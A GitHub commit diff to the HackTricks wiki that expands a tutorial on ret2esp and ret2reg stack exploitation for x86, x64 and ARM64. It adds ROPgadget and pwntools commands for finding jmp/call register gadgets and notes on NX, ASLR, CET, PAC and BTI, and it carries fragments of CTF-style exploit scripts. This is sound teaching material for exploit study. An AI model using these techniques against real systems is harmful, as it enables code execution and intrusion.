Skip to content

Commit 56a614d

Browse files
authored
Merge pull request #2170 from HackTricks-wiki/research_update_src_binary-exploitation_rop-return-oriented-programing_ret2esp-ret2reg_20260425_131800
Research Update Enhanced src/binary-exploitation/rop-return-...
2 parents 5778894 + 7dc83da commit 56a614d

1 file changed

Lines changed: 57 additions & 9 deletions

File tree

src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md

Lines changed: 57 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,32 @@ jmp rsp
2121

2222
And write the shellcode early in the stack.
2323

24+
### Finding `jmp/call esp/rsp` gadgets
25+
26+
On modern challenges it is common to automate this search first and only then start placing shellcode. Some practical options are:
27+
28+
```python
29+
from pwn import *
30+
31+
elf = ELF('./vuln')
32+
rop = ROP(elf)
33+
34+
print(rop.jmp_esp) # i386
35+
print(rop.jmp_rsp) # amd64
36+
```
37+
38+
`pwntools` will also discard gadgets whose **address contains badchars**, which is useful when the instruction exists but cannot be used directly from the overflow.
39+
40+
You can also search more aggressively with `ROPgadget` because sometimes the binary does not contain a clean disassembled `jmp rsp`, but it still contains the raw opcode bytes inside some other executable instruction stream:
41+
42+
```bash
43+
ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(esp|rsp)"
44+
ROPgadget --binary ./vuln --opcode ffe4 # jmp esp / jmp rsp
45+
ROPgadget --binary ./vuln --opcode ffd4 # call esp / call rsp
46+
```
47+
48+
This is especially useful in amd64 because the opcode for **`jmp rsp`** is just **`ff e4`**, so any executable byte sequence with those bytes can become a valid landing point.
49+
2450
### Example
2551

2652
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
@@ -45,7 +71,7 @@ p.sendlineafter('RSP!\n', payload)
4571
p.interactive()
4672
```
4773

48-
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
74+
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled. The exploit uses a gadget to **reduce the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
4975

5076
```python
5177
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
@@ -86,33 +112,51 @@ target.interactive()
86112

87113
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
88114

115+
Typical cases are functions returning the destination buffer in the return-value register, or code paths that keep a pointer to the attacker-controlled buffer in some argument/scratch register until the vulnerable `ret`.
116+
117+
### Hunting the register jump
118+
119+
On x86/x64 you usually search for **`jmp reg`** or **`call reg`** targeting the register that points to your bytes:
120+
121+
```bash
122+
ROPgadget --binary ./vuln --re "jmp|call" | grep -Ei "(eax|ebx|ecx|edx|esi|edi|esp|rax|rbx|rcx|rdx|rsi|rdi|rsp)"
123+
```
124+
125+
On ARM64 the same idea applies, but you are normally looking for **`br xN`** or **`blr xN`** gadgets instead:
126+
127+
```bash
128+
ROPgadget --binary ./vuln --only "br|blr"
129+
```
130+
131+
If the binary is protected with badchar restrictions, remember that the **gadget address** matters as much as the gadget mnemonic. A perfect `jmp rax` is useless if the address cannot be injected intact.
132+
89133
### Example
90134

91135
You can find some examples here:
92136

93137
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
94138
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
95-
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
139+
- **`strcpy`** stores in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** is not overwritten, so it is possible to use a `ret2eax`.
96140

97141
## ARM64
98142

99143
### Ret2sp
100144

101-
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
145+
In ARM64 there **aren't** instructions allowing to **jump directly to the SP register**. It might be possible to find a gadget that **moves sp to a register and then jumps to that register**, but in the libc of my kali I couldn't find any gadget like that:
102146

103147
```bash
104148
for i in `seq 1 30`; do
105149
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
106150
done
107151
```
108152

109-
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
153+
The only ones I discovered would change the value of the register where sp was copied before jumping to it (so it would become useless):
110154

111155
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
112156

113157
### Ret2reg
114158

115-
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
159+
If a register has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
116160

117161
```bash
118162
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
@@ -142,7 +186,7 @@ char* vulnerable_function() {
142186

143187
int main(int argc, char **argv) {
144188
char* b = vulnerable_function();
145-
do_stuff(2)
189+
do_stuff(2);
146190
return 0;
147191
}
148192
```
@@ -155,7 +199,7 @@ It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function
155199
156200
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
157201
158-
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
202+
We will use that gadget to jump to it because the binary is compiled **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
159203
160204
```python
161205
from pwn import *
@@ -178,13 +222,17 @@ p.interactive()
178222
179223
## Protections
180224

181-
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
182-
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Those can make harder to find a instruction to jump to esp or any other register.
225+
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the target memory is not executable, **ret2esp/ret2reg only gives you control-flow redirection**, not code execution. In modern exploits this is often combined with a previous `mprotect`/`VirtualProtect`-style stage or with already executable memory.
226+
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): These make it harder to know the address of the final `jmp/call <reg>` gadget. Partial overwrites may still work when the gadget is close enough to the original return address.
227+
- [**CET / Shadow Stack**](../common-binary-protections-and-bypasses/cet-and-shadow-stack.md): On x86_64, classic ret-based entry into `jmp esp` / `jmp rsp` / `jmp reg` gadgets becomes unreliable because the corrupted return address is checked against the hardware shadow stack before the gadget is reached.
228+
- **ARM64 PAC/BTI**: Pointer Authentication can break the classic saved-LR overwrite path, and Branch Target Identification means `br xN` jumps are expected to land on a valid BTI landing pad (`bti j` / `bti jc`). A `br xN` gadget may exist but still fault on hardened binaries if the destination bytes are not a valid indirect-branch target.
183229

184230
## References
185231

186232
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
187233
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
234+
- [https://docs.pwntools.com/en/stable/rop/rop.html](https://docs.pwntools.com/en/stable/rop/rop.html)
235+
- [https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/p3-enabling-pac-and-bti-on-aarch64](https://community.arm.com/arm-community-blogs/b/architectures-and-processors-blog/posts/p3-enabling-pac-and-bti-on-aarch64)
188236

189237
{{#include ../../banners/hacktricks-training.md}}
190238

0 commit comments

Comments
 (0)